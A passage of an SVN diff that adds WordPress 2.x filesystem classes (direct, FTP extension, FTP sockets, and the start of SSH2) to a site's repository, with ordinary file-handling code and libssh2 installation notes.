+		$info .= (($perms & 0x0010) ? 'w' : '-');
+		$info .= (($perms & 0x0008) ?
+					(($perms & 0x0400) ? 's' : 'x' ) :
+					(($perms & 0x0400) ? 'S' : '-'));
+
+		// World
+		$info .= (($perms & 0x0004) ? 'r' : '-');
+		$info .= (($perms & 0x0002) ? 'w' : '-');
+		$info .= (($perms & 0x0001) ?
+					(($perms & 0x0200) ? 't' : 'x' ) :
+					(($perms & 0x0200) ? 'T' : '-'));
+		return $info;
+	}
+
+	/**
+	 * Converts *nix style file permissions to a octal number.
+	 *
+	 * Converts '-rw-r--r--' to 0644
+	 * From "info at rvgate dot nl"'s comment on the PHP documentation for chmod()
+ 	 *
+	 * @link http://docs.php.net/manual/en/function.chmod.php#49614
+	 * @since 2.5
+	 * @access public
+	 *
+	 * @param string $mode string *nix style file permission
+	 * @return int octal representation
+	 */
+	function getnumchmodfromh($mode) {
+		$realmode = '';
+		$legal =  array('', 'w', 'r', 'x', '-');
+		$attarray = preg_split('//', $mode);
+
+		for($i=0; $i < count($attarray); $i++)
+		   if($key = array_search($attarray[$i], $legal))
+			   $realmode .= $legal[$key];
+
+		$mode = str_pad($realmode, 9, '-');
+		$trans = array('-'=>'0', 'r'=>'4', 'w'=>'2', 'x'=>'1');
+		$mode = strtr($mode,$trans);
+
+		$newmode = '';
+		$newmode .= $mode[0] + $mode[1] + $mode[2];
+		$newmode .= $mode[3] + $mode[4] + $mode[5];
+		$newmode .= $mode[6] + $mode[7] + $mode[8];
+		return $newmode;
+	}
+
+	/**
+	 * Determines if the string provided contains binary characters.
+	 *
+	 * @since 2.7
+	 * @access private
+	 *
+	 * @param string $text String to test against
+	 * @return bool true if string is binary, false otherwise
+	 */
+	function is_binary( $text ) {
+		return (bool) preg_match('|[^\x20-\x7E]|', $text); //chr(32)..chr(127)
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/class-wp-filesystem-direct.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/class-wp-filesystem-direct.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/class-wp-filesystem-direct.php	(revision 44)
@@ -0,0 +1,283 @@
+<?php
+/**
+ * WordPress Direct Filesystem.
+ *
+ * @package WordPress
+ * @subpackage Filesystem
+ */
+
+/**
+ * WordPress Filesystem Class for direct PHP file and folder manipulation.
+ *
+ * @since 2.5
+ * @package WordPress
+ * @subpackage Filesystem
+ * @uses WP_Filesystem_Base Extends class
+ */
+class WP_Filesystem_Direct extends WP_Filesystem_Base {
+	var $permission = null;
+	var $errors = null;
+	function WP_Filesystem_Direct($arg) {
+		$this->method = 'direct';
+		$this->errors = new WP_Error();
+	}
+	function connect() {
+		return true;
+	}
+	function setDefaultPermissions($perm) {
+		$this->permission = $perm;
+	}
+	function get_contents($file) {
+		return @file_get_contents($file);
+	}
+	function get_contents_array($file) {
+		return @file($file);
+	}
+	function put_contents($file, $contents, $mode = false, $type = '') {
+		if ( ! ($fp = @fopen($file, 'w' . $type)) )
+			return false;
+		@fwrite($fp, $contents);
+		@fclose($fp);
+		$this->chmod($file,$mode);
+		return true;
+	}
+	function cwd() {
+		return @getcwd();
+	}
+	function chdir($dir) {
+		return @chdir($dir);
+	}
+	function chgrp($file, $group, $recursive = false) {
+		if ( ! $this->exists($file) )
+			return false;
+		if ( ! $recursive )
+			return @chgrp($file, $group);
+		if ( ! $this->is_dir($file) )
+			return @chgrp($file, $group);
+		//Is a directory, and we want recursive
+		$file = trailingslashit($file);
+		$filelist = $this->dirlist($file);
+		foreach ($filelist as $filename)
+			$this->chgrp($file . $filename, $group, $recursive);
+
+		return true;
+	}
+	function chmod($file, $mode = false, $recursive = false) {
+		if ( ! $this->exists($file) )
+			return false;
+
+		if ( ! $mode ) {
+			if ( $this->permission )
+				$mode = $this->permission;
+			elseif ( $this->is_file($file) )
+				$mode = FS_CHMOD_FILE;
+			elseif ( $this->is_dir($file) )
+				$mode = FS_CHMOD_DIR;
+			else
+				return false;	
+		}
+
+		if ( ! $recursive )
+			return @chmod($file, $mode);
+		if ( ! $this->is_dir($file) )
+			return @chmod($file, $mode);
+		//Is a directory, and we want recursive
+		$file = trailingslashit($file);
+		$filelist = $this->dirlist($file);
+		foreach ($filelist as $filename)
+			$this->chmod($file . $filename, $mode, $recursive);
+
+		return true;
+	}
+	function chown($file, $owner, $recursive = false) {
+		if ( ! $this->exists($file) )
+			return false;
+		if ( ! $recursive )
+			return @chown($file, $owner);
+		if ( ! $this->is_dir($file) )
+			return @chown($file, $owner);
+		//Is a directory, and we want recursive
+		$filelist = $this->dirlist($file);
+		foreach ($filelist as $filename){
+			$this->chown($file . '/' . $filename, $owner, $recursive);
+		}
+		return true;
+	}
+	function owner($file) {
+		$owneruid = @fileowner($file);
+		if ( ! $owneruid )
+			return false;
+		if ( ! function_exists('posix_getpwuid') )
+			return $owneruid;
+		$ownerarray = posix_getpwuid($owneruid);
+		return $ownerarray['name'];
+	}
+	function getchmod($file) {
+		return substr(decoct(@fileperms($file)),3);
+	}
+	function group($file) {
+		$gid = @filegroup($file);
+		if ( ! $gid )
+			return false;
+		if ( ! function_exists('posix_getgrgid') )
+			return $gid;
+		$grouparray = posix_getgrgid($gid);
+		return $grouparray['name'];
+	}
+
+	function copy($source, $destination, $overwrite = false) {
+		if ( ! $overwrite && $this->exists($destination) )
+			return false;
+		return copy($source, $destination);
+	}
+
+	function move($source, $destination, $overwrite = false) {
+		//Possible to use rename()?
+		if ( $this->copy($source, $destination, $overwrite) && $this->exists($destination) ){
+			$this->delete($source);
+			return true;
+		} else {
+			return false;
+		}
+	}
+
+	function delete($file, $recursive = false) {
+		if ( empty($file) ) //Some filesystems report this as /, which can cause non-expected recursive deletion of all files in the filesystem.
+			return false;
+		$file = str_replace('\\', '/', $file); //for win32, occasional problems deleteing files otherwise
+
+		if ( $this->is_file($file) )
+			return @unlink($file);
+		if ( ! $recursive && $this->is_dir($file) )
+			return @rmdir($file);
+
+		//At this point its a folder, and we're in recursive mode
+		$file = trailingslashit($file);
+		$filelist = $this->dirlist($file, true);
+
+		$retval = true;
+		if ( is_array($filelist) ) //false if no files, So check first.
+			foreach ($filelist as $filename => $fileinfo)
+				if ( ! $this->delete($file . $filename, $recursive) )
+					$retval = false;
+
+		if ( file_exists($file) && ! @rmdir($file) )
+			$retval = false;
+		return $retval;
+	}
+
+	function exists($file) {
+		return @file_exists($file);
+	}
+
+	function is_file($file) {
+		return @is_file($file);
+	}
+
+	function is_dir($path) {
+		return @is_dir($path);
+	}
+
+	function is_readable($file) {
+		return @is_readable($file);
+	}
+
+	function is_writable($file) {
+		return @is_writable($file);
+	}
+
+	function atime($file) {
+		return @fileatime($file);
+	}
+
+	function mtime($file) {
+		return @filemtime($file);
+	}
+	function size($file) {
+		return @filesize($file);
+	}
+
+	function touch($file, $time = 0, $atime = 0){
+		if ($time == 0)
+			$time = time();
+		if ($atime == 0)
+			$atime = time();
+		return @touch($file, $time, $atime);
+	}
+
+	function mkdir($path, $chmod = false, $chown = false, $chgrp = false){
+		if ( ! @mkdir($path) )
+			return false;
+		$this->chmod($path, $chmod);
+		if ( $chown )
+			$this->chown($path, $chown);
+		if ( $chgrp )
+			$this->chgrp($path, $chgrp);
+		return true;
+	}
+
+	function rmdir($path, $recursive = false) {
+		//Currently unused and untested, Use delete() instead.
+		if ( ! $recursive )
+			return @rmdir($path);
+		//recursive:
+		$filelist = $this->dirlist($path);
+		foreach ($filelist as $filename => $det) {
+			if ( '/' == substr($filename, -1, 1) )
+				$this->rmdir($path . '/' . $filename, $recursive);
+			@rmdir($filename);
+		}
+		return @rmdir($path);
+	}
+
+	function dirlist($path, $incdot = false, $recursive = false) {
+		if ( $this->is_file($path) ) {
+			$limitFile = basename($path);
+			$path = dirname($path);
+		} else {
+			$limitFile = false;
+		}
+		if ( ! $this->is_dir($path) )
+			return false;
+
+		$ret = array();
+		$dir = @dir($path);
+		if ( ! $dir )
+			return false;
+		while (false !== ($entry = $dir->read()) ) {
+			$struc = array();
+			$struc['name'] = $entry;
+
+			if ( '.' == $struc['name'] || '..' == $struc['name'] )
+				continue; //Do not care about these folders.
+			if ( '.' == $struc['name'][0] && !$incdot)
+				continue;
+			if ( $limitFile && $struc['name'] != $limitFile)
+				continue;
+
+			$struc['perms'] 	= $this->gethchmod($path.'/'.$entry);
+			$struc['permsn']	= $this->getnumchmodfromh($struc['perms']);
+			$struc['number'] 	= false;
+			$struc['owner']    	= $this->owner($path.'/'.$entry);
+			$struc['group']    	= $this->group($path.'/'.$entry);
+			$struc['size']    	= $this->size($path.'/'.$entry);
+			$struc['lastmodunix']= $this->mtime($path.'/'.$entry);
+			$struc['lastmod']   = date('M j',$struc['lastmodunix']);
+			$struc['time']    	= date('h:i:s',$struc['lastmodunix']);
+			$struc['type']		= $this->is_dir($path.'/'.$entry) ? 'd' : 'f';
+
+			if ( 'd' == $struc['type'] ) {
+				if ( $recursive )
+					$struc['files'] = $this->dirlist($path . '/' . $struc['name'], $incdot, $recursive);
+				else
+					$struc['files'] = array();
+			}
+
+			$ret[ $struc['name'] ] = $struc;
+		}
+		$dir->close();
+		unset($dir);
+		return $ret;
+	}
+}
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/class-wp-filesystem-ftpext.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/class-wp-filesystem-ftpext.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/class-wp-filesystem-ftpext.php	(revision 44)
@@ -0,0 +1,378 @@
+<?php
+/**
+ * WordPress FTP Filesystem.
+ *
+ * @package WordPress
+ * @subpackage Filesystem
+ */
+
+/**
+ * WordPress Filesystem Class for implementing FTP.
+ *
+ * @since 2.5
+ * @package WordPress
+ * @subpackage Filesystem
+ * @uses WP_Filesystem_Base Extends class
+ */
+class WP_Filesystem_FTPext extends WP_Filesystem_Base {
+	var $link;
+	var $timeout = 5;
+	var $errors = null;
+	var $options = array();
+
+	var $permission = null;
+
+	function WP_Filesystem_FTPext($opt='') {
+		$this->method = 'ftpext';
+		$this->errors = new WP_Error();
+
+		//Check if possible to use ftp functions.
+		if ( ! extension_loaded('ftp') ) {
+			$this->errors->add('no_ftp_ext', __('The ftp PHP extension is not available'));
+			return false;
+		}
+
+		// Set defaults:
+		if ( empty($opt['port']) )
+			$this->options['port'] = 21;
+		else
+			$this->options['port'] = $opt['port'];
+
+		if ( empty($opt['hostname']) )
+			$this->errors->add('empty_hostname', __('FTP hostname is required'));
+		else
+			$this->options['hostname'] = $opt['hostname'];
+
+		if ( isset($opt['base']) && ! empty($opt['base']) )
+			$this->wp_base = $opt['base'];
+
+		// Check if the options provided are OK.
+		if ( empty($opt['username']) )
+			$this->errors->add('empty_username', __('FTP username is required'));
+		else
+			$this->options['username'] = $opt['username'];
+
+		if ( empty($opt['password']) )
+			$this->errors->add('empty_password', __('FTP password is required'));
+		else
+			$this->options['password'] = $opt['password'];
+
+		$this->options['ssl'] = false;
+		if ( isset($opt['connection_type']) && 'ftps' == $opt['connection_type'] )
+			$this->options['ssl'] = true;
+	}
+
+	function connect() {
+		if ( isset($this->options['ssl']) && $this->options['ssl'] && function_exists('ftp_ssl_connect') )
+			$this->link = @ftp_ssl_connect($this->options['hostname'], $this->options['port'], $this->timeout);
+		else
+			$this->link = @ftp_connect($this->options['hostname'], $this->options['port'], $this->timeout);
+
+		if ( ! $this->link ) {
+			$this->errors->add('connect', sprintf(__('Failed to connect to FTP Server %1$s:%2$s'), $this->options['hostname'], $this->options['port']));
+			return false;
+		}
+
+		if ( ! @ftp_login($this->link,$this->options['username'], $this->options['password']) ) {
+			$this->errors->add('auth', sprintf(__('Username/Password incorrect for %s'), $this->options['username']));
+			return false;
+		}
+
+		//Set the Connection to use Passive FTP
+		@ftp_pasv( $this->link, true );
+
+		return true;
+	}
+
+	function setDefaultPermissions($perm) {
+		$this->permission = $perm;
+	}
+
+	function get_contents($file, $type = '', $resumepos = 0 ){
+		if( empty($type) )
+			$type = FTP_BINARY;
+
+		$temp = tmpfile();
+		if ( ! $temp )
+			return false;
+
+		if( ! @ftp_fget($this->link, $temp, $file, $type, $resumepos) )
+			return false;
+
+		fseek($temp, 0); //Skip back to the start of the file being written to
+		$contents = '';
+
+		while ( ! feof($temp) )
+			$contents .= fread($temp, 8192);
+
+		fclose($temp);
+		return $contents;
+	}
+	function get_contents_array($file) {
+		return explode("\n", $this->get_contents($file));
+	}
+	function put_contents($file, $contents, $type = '' ) {
+		if( empty($type) )
+			$type = $this->is_binary($contents) ? FTP_BINARY : FTP_ASCII;
+
+		$temp = tmpfile();
+		if ( ! $temp )
+			return false;
+
+		fwrite($temp, $contents);
+		fseek($temp, 0); //Skip back to the start of the file being written to
+
+		$ret = @ftp_fput($this->link, $file, $temp, $type);
+
+		fclose($temp);
+		return $ret;
+	}
+	function cwd() {
+		$cwd = @ftp_pwd($this->link);
+		if( $cwd )
+			$cwd = trailingslashit($cwd);
+		return $cwd;
+	}
+	function chdir($dir) {
+		return @ftp_chdir($dir);
+	}
+	function chgrp($file, $group, $recursive = false ) {
+		return false;
+	}
+	function chmod($file, $mode = false, $recursive = false) {
+		if( ! $mode )
+			$mode = $this->permission;
+		if( ! $mode )
+			return false;
+		if ( ! $this->exists($file) && ! $this->is_dir($file) )
+			return false;
+		if ( ! $recursive || ! $this->is_dir($file) ) {
+			if ( ! function_exists('ftp_chmod') )
+				return @ftp_site($this->link, sprintf('CHMOD %o %s', $mode, $file));
+			return @ftp_chmod($this->link, $mode, $file);
+		}
+		//Is a directory, and we want recursive
+		$filelist = $this->dirlist($file);
+		foreach($filelist as $filename){
+			$this->chmod($file . '/' . $filename, $mode, $recursive);
+		}
+		return true;
+	}
+	function chown($file, $owner, $recursive = false ) {
+		return false;
+	}
+	function owner($file) {
+		$dir = $this->dirlist($file);
+		return $dir[$file]['owner'];
+	}
+	function getchmod($file) {
+		$dir = $this->dirlist($file);
+		return $dir[$file]['permsn'];
+	}
+	function group($file) {
+		$dir = $this->dirlist($file);
+		return $dir[$file]['group'];
+	}
+	function copy($source, $destination, $overwrite = false ) {
+		if( ! $overwrite && $this->exists($destination) )
+			return false;
+		$content = $this->get_contents($source);
+		if( false === $content)
+			return false;
+		return $this->put_contents($destination, $content);
+	}
+	function move($source, $destination, $overwrite = false) {
+		return ftp_rename($this->link, $source, $destination);
+	}
+
+	function delete($file, $recursive = false ) {
+		if ( empty($file) )
+			return false;
+		if ( $this->is_file($file) )
+			return @ftp_delete($this->link, $file);
+		if ( !$recursive )
+			return @ftp_rmdir($this->link, $file);
+
+		$filelist = $this->dirlist( trailingslashit($file) );
+		if ( !empty($filelist) )
+			foreach ( $filelist as $delete_file )
+				$this->delete( trailingslashit($file) . $delete_file['name'], $recursive);
+		return @ftp_rmdir($this->link, $file);
+	}
+
+	function exists($file) {
+		$list = @ftp_rawlist($this->link, $file, false);
+		return !empty($list); //empty list = no file, so invert.
+	}
+	function is_file($file) {
+		return $this->exists($file) && !$this->is_dir($file);
+	}
+	function is_dir($path) {
+		$cwd = $this->cwd();
+		$result = @ftp_chdir($this->link, trailingslashit($path) );
+		if( $result && $path == $this->cwd() || $this->cwd() != $cwd ) {
+			@ftp_chdir($this->link, $cwd);
+			return true;
+		}
+		return false;
+	}
+	function is_readable($file) {
+		//Get dir list, Check if the file is readable by the current user??
+		return true;
+	}
+	function is_writable($file) {
+		//Get dir list, Check if the file is writable by the current user??
+		return true;
+	}
+	function atime($file) {
+		return false;
+	}
+	function mtime($file) {
+		return ftp_mdtm($this->link, $file);
+	}
+	function size($file) {
+		return ftp_size($this->link, $file);
+	}
+	function touch($file, $time = 0, $atime = 0) {
+		return false;
+	}
+	function mkdir($path, $chmod = false, $chown = false, $chgrp = false) {
+		if( !ftp_mkdir($this->link, $path) )
+			return false;
+		if( $chmod )
+			$this->chmod($path, $chmod);
+		if( $chown )
+			$this->chown($path, $chown);
+		if( $chgrp )
+			$this->chgrp($path, $chgrp);
+		return true;
+	}
+	function rmdir($path, $recursive = false) {
+		return $this->delete($path, $recursive);
+	}
+
+	function parselisting($line) {
+		static $is_windows;
+		if ( is_null($is_windows) )
+			$is_windows = strpos( strtolower(ftp_systype($this->link)), 'win') !== false;
+
+		if ($is_windows && preg_match("/([0-9]{2})-([0-9]{2})-([0-9]{2}) +([0-9]{2}):([0-9]{2})(AM|PM) +([0-9]+|<DIR>) +(.+)/", $line, $lucifer)) {
+			$b = array();
+			if ($lucifer[3]<70) { $lucifer[3] +=2000; } else { $lucifer[3]+=1900; } // 4digit year fix
+			$b['isdir'] = ($lucifer[7]=="<DIR>");
+			if ( $b['isdir'] )
+				$b['type'] = 'd';
+			else
+				$b['type'] = 'f';
+			$b['size'] = $lucifer[7];
+			$b['month'] = $lucifer[1];
+			$b['day'] = $lucifer[2];
+			$b['year'] = $lucifer[3];
+			$b['hour'] = $lucifer[4];
+			$b['minute'] = $lucifer[5];
+			$b['time'] = @mktime($lucifer[4]+(strcasecmp($lucifer[6],"PM")==0?12:0),$lucifer[5],0,$lucifer[1],$lucifer[2],$lucifer[3]);
+			$b['am/pm'] = $lucifer[6];
+			$b['name'] = $lucifer[8];
+		} else if (!$is_windows && $lucifer=preg_split("/[ ]/",$line,9,PREG_SPLIT_NO_EMPTY)) {
+			//echo $line."\n";
+			$lcount=count($lucifer);
+			if ($lcount<8) return '';
+			$b = array();
+			$b['isdir'] = $lucifer[0]{0} === "d";
+			$b['islink'] = $lucifer[0]{0} === "l";
+			if ( $b['isdir'] )
+				$b['type'] = 'd';
+			elseif ( $b['islink'] )
+				$b['type'] = 'l';
+			else
+				$b['type'] = 'f';
+			$b['perms'] = $lucifer[0];
+			$b['number'] = $lucifer[1];
+			$b['owner'] = $lucifer[2];
+			$b['group'] = $lucifer[3];
+			$b['size'] = $lucifer[4];
+			if ($lcount==8) {
+				sscanf($lucifer[5],"%d-%d-%d",$b['year'],$b['month'],$b['day']);
+				sscanf($lucifer[6],"%d:%d",$b['hour'],$b['minute']);
+				$b['time'] = @mktime($b['hour'],$b['minute'],0,$b['month'],$b['day'],$b['year']);
+				$b['name'] = $lucifer[7];
+			} else {
+				$b['month'] = $lucifer[5];
+				$b['day'] = $lucifer[6];
+				if (preg_match("/([0-9]{2}):([0-9]{2})/",$lucifer[7],$l2)) {
+					$b['year'] = date("Y");
+					$b['hour'] = $l2[1];
+					$b['minute'] = $l2[2];
+				} else {
+					$b['year'] = $lucifer[7];
+					$b['hour'] = 0;
+					$b['minute'] = 0;
+				}
+				$b['time'] = strtotime(sprintf("%d %s %d %02d:%02d",$b['day'],$b['month'],$b['year'],$b['hour'],$b['minute']));
+				$b['name'] = $lucifer[8];
+			}
+		}
+
+		return $b;
+	}
+
+	function dirlist($path = '.', $incdot = false, $recursive = false) {
+		if( $this->is_file($path) ) {
+			$limitFile = basename($path);
+			$path = dirname($path) . '/';
+		} else {
+			$limitFile = false;
+		}
+
+		$list = @ftp_rawlist($this->link, '-a ' . $path, false);
+
+		if ( $list === false )
+			return false;
+
+		$dirlist = array();
+		foreach ( $list as $k => $v ) {
+			$entry = $this->parselisting($v);
+			if ( empty($entry) )
+				continue;
+
+			if ( '.' == $entry["name"] || '..' == $entry["name"] )
+				continue;
+
+			$dirlist[ $entry['name'] ] = $entry;
+		}
+
+		if ( ! $dirlist )
+			return false;
+		if ( empty($dirlist) )
+			return array();
+
+		$ret = array();
+		foreach ( $dirlist as $struc ) {
+
+			if ( 'd' == $struc['type'] ) {
+				$struc['files'] = array();
+
+				if ( $incdot ){
+					//We're including the doted starts
+					if( '.' != $struc['name'] && '..' != $struc['name'] ){ //Ok, It isnt a special folder
+						if ($recursive)
+							$struc['files'] = $this->dirlist($path . '/' . $struc['name'], $incdot, $recursive);
+					}
+				} else { //No dots
+					if ($recursive)
+						$struc['files'] = $this->dirlist($path . '/' . $struc['name'], $incdot, $recursive);
+				}
+			}
+			//File
+			$ret[$struc['name']] = $struc;
+		}
+		return $ret;
+	}
+
+	function __destruct(){
+		if( $this->link )
+			ftp_close($this->link);
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/class-wp-filesystem-ftpsockets.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/class-wp-filesystem-ftpsockets.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/class-wp-filesystem-ftpsockets.php	(revision 44)
@@ -0,0 +1,327 @@
+<?php
+/**
+ * WordPress FTP Sockets Filesystem.
+ *
+ * @package WordPress
+ * @subpackage Filesystem
+ */
+
+/**
+ * WordPress Filesystem Class for implementing FTP Sockets.
+ *
+ * @since 2.5
+ * @package WordPress
+ * @subpackage Filesystem
+ * @uses WP_Filesystem_Base Extends class
+ */
+class WP_Filesystem_ftpsockets extends WP_Filesystem_Base {
+	var $ftp = false;
+	var $timeout = 5;
+	var $errors = null;
+	var $options = array();
+
+	var $permission = null;
+
+	function WP_Filesystem_ftpsockets($opt = '') {
+		$this->method = 'ftpsockets';
+		$this->errors = new WP_Error();
+
+		//Check if possible to use ftp functions.
+		if( ! @include_once ABSPATH . 'wp-admin/includes/class-ftp.php' )
+				return false;
+		$this->ftp = new ftp();
+
+		//Set defaults:
+		if ( empty($opt['port']) )
+			$this->options['port'] = 21;
+		else
+			$this->options['port'] = $opt['port'];
+
+		if ( empty($opt['hostname']) )
+			$this->errors->add('empty_hostname', __('FTP hostname is required'));
+		else
+			$this->options['hostname'] = $opt['hostname'];
+
+		if ( isset($opt['base']) && ! empty($opt['base']) )
+			$this->wp_base = $opt['base'];
+
+		// Check if the options provided are OK.
+		if ( empty ($opt['username']) )
+			$this->errors->add('empty_username', __('FTP username is required'));
+		else
+			$this->options['username'] = $opt['username'];
+
+		if ( empty ($opt['password']) )
+			$this->errors->add('empty_password', __('FTP password is required'));
+		else
+			$this->options['password'] = $opt['password'];
+	}
+
+	function connect() {
+		if ( ! $this->ftp )
+			return false;
+
+		//$this->ftp->Verbose = true;
+
+		if ( ! $this->ftp->SetServer($this->options['hostname'], $this->options['port']) ) {
+			$this->errors->add('connect', sprintf(__('Failed to connect to FTP Server %1$s:%2$s'), $this->options['hostname'], $this->options['port']));
+			return false;
+		}
+		if ( ! $this->ftp->connect() ) {
+			$this->errors->add('connect', sprintf(__('Failed to connect to FTP Server %1$s:%2$s'), $this->options['hostname'], $this->options['port']));
+			return false;
+		}
+
+		if ( ! $this->ftp->login($this->options['username'], $this->options['password']) ) {
+			$this->errors->add('auth', sprintf(__('Username/Password incorrect for %s'), $this->options['username']));
+			return false;
+		}
+
+		$this->ftp->SetType(FTP_AUTOASCII);
+		$this->ftp->Passive(true);
+		return true;
+	}
+
+	function setDefaultPermissions($perm) {
+		$this->permission = $perm;
+	}
+
+	function get_contents($file, $type = '', $resumepos = 0) {
+		if( ! $this->exists($file) )
+			return false;
+
+		if( empty($type) )
+			$type = FTP_AUTOASCII;
+		$this->ftp->SetType($type);
+
+		$temp = wp_tempnam( $file );
+
+		if ( ! $temphandle = fopen($temp, 'w+') )
+			return false;
+
+		if ( ! $this->ftp->fget($temphandle, $file) ) {
+			fclose($temphandle);
+			unlink($temp);
+			return ''; //Blank document, File does exist, Its just blank.
+		}
+
+		fseek($temphandle, 0); //Skip back to the start of the file being written to
+		$contents = '';
+
+		while ( ! feof($temphandle) )
+			$contents .= fread($temphandle, 8192);
+
+		fclose($temphandle);
+		unlink($temp);
+		return $contents;
+	}
+
+	function get_contents_array($file) {
+		return explode("\n", $this->get_contents($file) );
+	}
+
+	function put_contents($file, $contents, $type = '' ) {
+		if( empty($type) )
+			$type = $this->is_binary($contents) ? FTP_BINARY : FTP_ASCII;
+
+		$this->ftp->SetType($type);
+
+		$temp = wp_tempnam( $file );
+		if ( ! $temphandle = fopen($temp, 'w+') ){
+			unlink($temp);
+			return false;
+		}
+
+		fwrite($temphandle, $contents);
+		fseek($temphandle, 0); //Skip back to the start of the file being written to
+
+		$ret = $this->ftp->fput($file, $temphandle);
+
+		fclose($temphandle);
+		unlink($temp);
+		return $ret;
+	}
+
+	function cwd() {
+		$cwd = $this->ftp->pwd();
+		if( $cwd )
+			$cwd = trailingslashit($cwd);
+		return $cwd;
+	}
+
+	function chdir($file) {
+		return $this->ftp->chdir($file);
+	}
+
+	function chgrp($file, $group, $recursive = false ) {
+		return false;
+	}
+
+	function chmod($file, $mode = false, $recursive = false ) {
+		if( ! $mode )
+			$mode = $this->permission;
+		if( ! $mode )
+			return false;
+		//if( ! $this->exists($file) )
+		//	return false;
+		if( ! $recursive || ! $this->is_dir($file) ) {
+			return $this->ftp->chmod($file,$mode);
+		}
+		//Is a directory, and we want recursive
+		$filelist = $this->dirlist($file);
+		foreach($filelist as $filename){
+			$this->chmod($file . '/' . $filename, $mode, $recursive);
+		}
+		return true;
+	}
+
+	function chown($file, $owner, $recursive = false ) {
+		return false;
+	}
+
+	function owner($file) {
+		$dir = $this->dirlist($file);
+		return $dir[$file]['owner'];
+	}
+
+	function getchmod($file) {
+		$dir = $this->dirlist($file);
+		return $dir[$file]['permsn'];
+	}
+
+	function group($file) {
+		$dir = $this->dirlist($file);
+		return $dir[$file]['group'];
+	}
+
+	function copy($source, $destination, $overwrite = false ) {
+		if( ! $overwrite && $this->exists($destination) )
+			return false;
+
+		$content = $this->get_contents($source);
+		if ( false === $content )
+			return false;
+
+		return $this->put_contents($destination, $content);
+	}
+
+	function move($source, $destination, $overwrite = false ) {
+		return $this->ftp->rename($source, $destination);
+	}
+
+	function delete($file, $recursive = false ) {
+		if ( empty($file) )
+			return false;
+		if ( $this->is_file($file) )
+			return $this->ftp->delete($file);
+		if ( !$recursive )
+			return $this->ftp->rmdir($file);
+
+		return $this->ftp->mdel($file);
+	}
+
+	function exists($file) {
+		return $this->ftp->is_exists($file);
+	}
+
+	function is_file($file) {
+		return $this->is_dir($file) ? false : true;
+	}
+
+	function is_dir($path) {
+		$cwd = $this->cwd();
+		if ( $this->chdir($path) ) {
+			$this->chdir($cwd);
+			return true;
+		}
+		return false;
+	}
+
+	function is_readable($file) {
+		//Get dir list, Check if the file is writable by the current user??
+		return true;
+	}
+
+	function is_writable($file) {
+		//Get dir list, Check if the file is writable by the current user??
+		return true;
+	}
+
+	function atime($file) {
+		return false;
+	}
+
+	function mtime($file) {
+		return $this->ftp->mdtm($file);
+	}
+
+	function size($file) {
+		return $this->ftp->filesize($file);
+	}
+
+	function touch($file, $time = 0, $atime = 0 ) {
+		return false;
+	}
+
+	function mkdir($path, $chmod = false, $chown = false, $chgrp = false ) {
+		if( ! $this->ftp->mkdir($path) )
+			return false;
+		if( $chmod )
+			$this->chmod($path, $chmod);
+		if( $chown )
+			$this->chown($path, $chown);
+		if( $chgrp )
+			$this->chgrp($path, $chgrp);
+		return true;
+	}
+
+	function rmdir($path, $recursive = false ) {
+		if( ! $recursive )
+			return $this->ftp->rmdir($path);
+
+		return $this->ftp->mdel($path);
+	}
+
+	function dirlist($path = '.', $incdot = false, $recursive = false ) {
+		if( $this->is_file($path) ) {
+			$limitFile = basename($path);
+			$path = dirname($path) . '/';
+		} else {
+			$limitFile = false;
+		}
+
+		$list = $this->ftp->dirlist($path);
+		if( ! $list )
+			return false;
+		if( empty($list) )
+			return array();
+
+		$ret = array();
+		foreach ( $list as $struc ) {
+
+			if ( 'd' == $struc['type'] ) {
+				$struc['files'] = array();
+
+				if ( $incdot ){
+					//We're including the doted starts
+					if( '.' != $struc['name'] && '..' != $struc['name'] ){ //Ok, It isnt a special folder
+						if ($recursive)
+							$struc['files'] = $this->dirlist($path . '/' . $struc['name'], $incdot, $recursive);
+					}
+				} else { //No dots
+					if ($recursive)
+						$struc['files'] = $this->dirlist($path . '/' . $struc['name'], $incdot, $recursive);
+				}
+			}
+			//File
+			$ret[$struc['name']] = $struc;
+		}
+		return $ret;
+	}
+
+	function __destruct() {
+		$this->ftp->quit();
+	}
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-admin/includes/class-wp-filesystem-ssh2.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-admin/includes/class-wp-filesystem-ssh2.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-admin/includes/class-wp-filesystem-ssh2.php	(revision 44)
@@ -0,0 +1,383 @@
+<?php
+/**
+ * WordPress SSH2 Filesystem.
+ *
+ * @package WordPress
+ * @subpackage Filesystem
+ */
+
+/**
+ * WordPress Filesystem Class for implementing SSH2.
+ *
+ * To use this class you must follow these steps for PHP 5.2.6+
+ *
+ * @contrib http://kevin.vanzonneveld.net/techblog/article/make_ssh_connections_with_php/ - Installation Notes
+ *
+ * Complie libssh2 (Note: Only 0.14 is officaly working with PHP 5.2.6+ right now, But many users have found the latest versions work)
+ *
+ * cd /usr/src
+ * wget http://surfnet.dl.sourceforge.net/sourceforge/libssh2/libssh2-0.14.tar.gz
+ * tar -zxvf libssh2-0.14.tar.gz
+ * cd libssh2-0.14/
+ * ./configure
+ * make all install
+ *
+ * Note: Do not leave the directory yet!
+ *
+ * Enter: pecl install -f ssh2
+ *
+ * Copy the ssh.so file it creates to your PHP Module Directory.
+ * Open up your PHP.INI file and look for where extensions are placed.
+ * Add in your PHP.ini file: extension=ssh2.so
+ *
+ * Restart Apache!
+ * Check phpinfo() streams to confirm that: ssh2.shell, ssh2.exec, ssh2.tunnel, ssh2.scp, ssh2.sftp  exist.
+ *
+ * Note: as of WordPress 2.8, This utilises the PHP5+ function 'stream_get_contents'
+ *
+ * @since 2.7
+ * @package WordPress
+ * @subpackage Filesystem
+ * @uses WP_Filesystem_Base Extends class
+ */
+class WP_Filesystem_SSH2 extends WP_Filesystem_Base {
+
+	var $link = false;
+	var $sftp_link = false;
+	var $keys = false;
